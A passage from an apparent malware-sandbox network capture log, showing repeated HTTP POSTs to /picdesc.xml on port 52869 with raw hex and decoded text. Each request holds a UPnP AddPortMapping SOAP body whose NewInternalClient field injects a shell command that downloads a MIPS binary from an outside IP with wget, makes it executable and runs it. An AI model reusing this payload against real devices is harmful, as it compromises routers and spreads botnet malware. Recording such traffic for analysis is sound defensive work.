49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:29:21.814733028 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:29:22.870708942 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:29:25.046642065 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:29:29.398420095 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>


                                                      Session IDSource IPSource PortDestination IPDestination Port
                                                      182192.168.2.154593645.41.88.23552869
                                                      TimestampBytes transferredDirectionData
                                                      Mar 13, 2024 16:29:20.899604082 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:29:21.814748049 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:29:22.870693922 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
